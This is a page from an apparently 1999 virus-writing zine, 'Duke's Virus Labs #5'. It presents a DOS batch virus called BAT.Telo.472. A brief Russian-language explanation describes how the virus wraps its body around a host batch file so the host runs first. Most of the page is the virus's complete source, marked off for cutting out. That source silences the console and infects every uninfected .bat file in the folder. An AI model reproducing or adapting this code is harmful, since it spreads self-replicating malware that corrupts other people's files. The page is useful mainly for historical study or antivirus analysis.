- [Duke's Virus Labs #5] - [Page 12] -

BAT.Telo.472
(c) by Duke/SMF

Имя вируса    : BAT.Telo.472
Автор         : Duke/SMF
Язык прогр.   : DOS-script
Дата создания : 16.02.99

   По прежнему используем команду FIND, но зато окружаем файл жертву
командами вируса так, что жертва записана в конце, но работает первой
(и один раз, естественно :) Схематически это выглядит так :
        goto telo
        :begin
        <тело вируса>
        goto end
        :telo
        <тело жертвы>
        goto begin
        :end
   Не стоит упрекать меня в громоздкости кода - я хотел показать метод, а
не побить рекорды. Если будет время, я оптимизирую код вируса.

===== Cut here =====
@goto telo
:begin tel
@ctty nul%tel%
if "%1=="$ goto ztel
find "tel"<%0>tel.bat
echo.>>tel.bat
echo>>tel.bat @goto begin
echo>>tel.bat :end
for %%b in (*.bat) do call tel.bat $ %%b
del tel.bat
ctty con%tel%
@goto end%tel%
:ztel
find "tel"<%2>nul
if not errorlevel 1 goto end%tel%
find "tel"<%0>tel
type %2>>tel
echo.>>tel
echo>>tel @goto begin
echo>>tel :end
ren tel %2
copy tel %2
del tel
goto end%tel%
:telo (c) by Duke/SMF
::This is host file...
::Enjoy !
@goto begin
:end
===== Cut here =====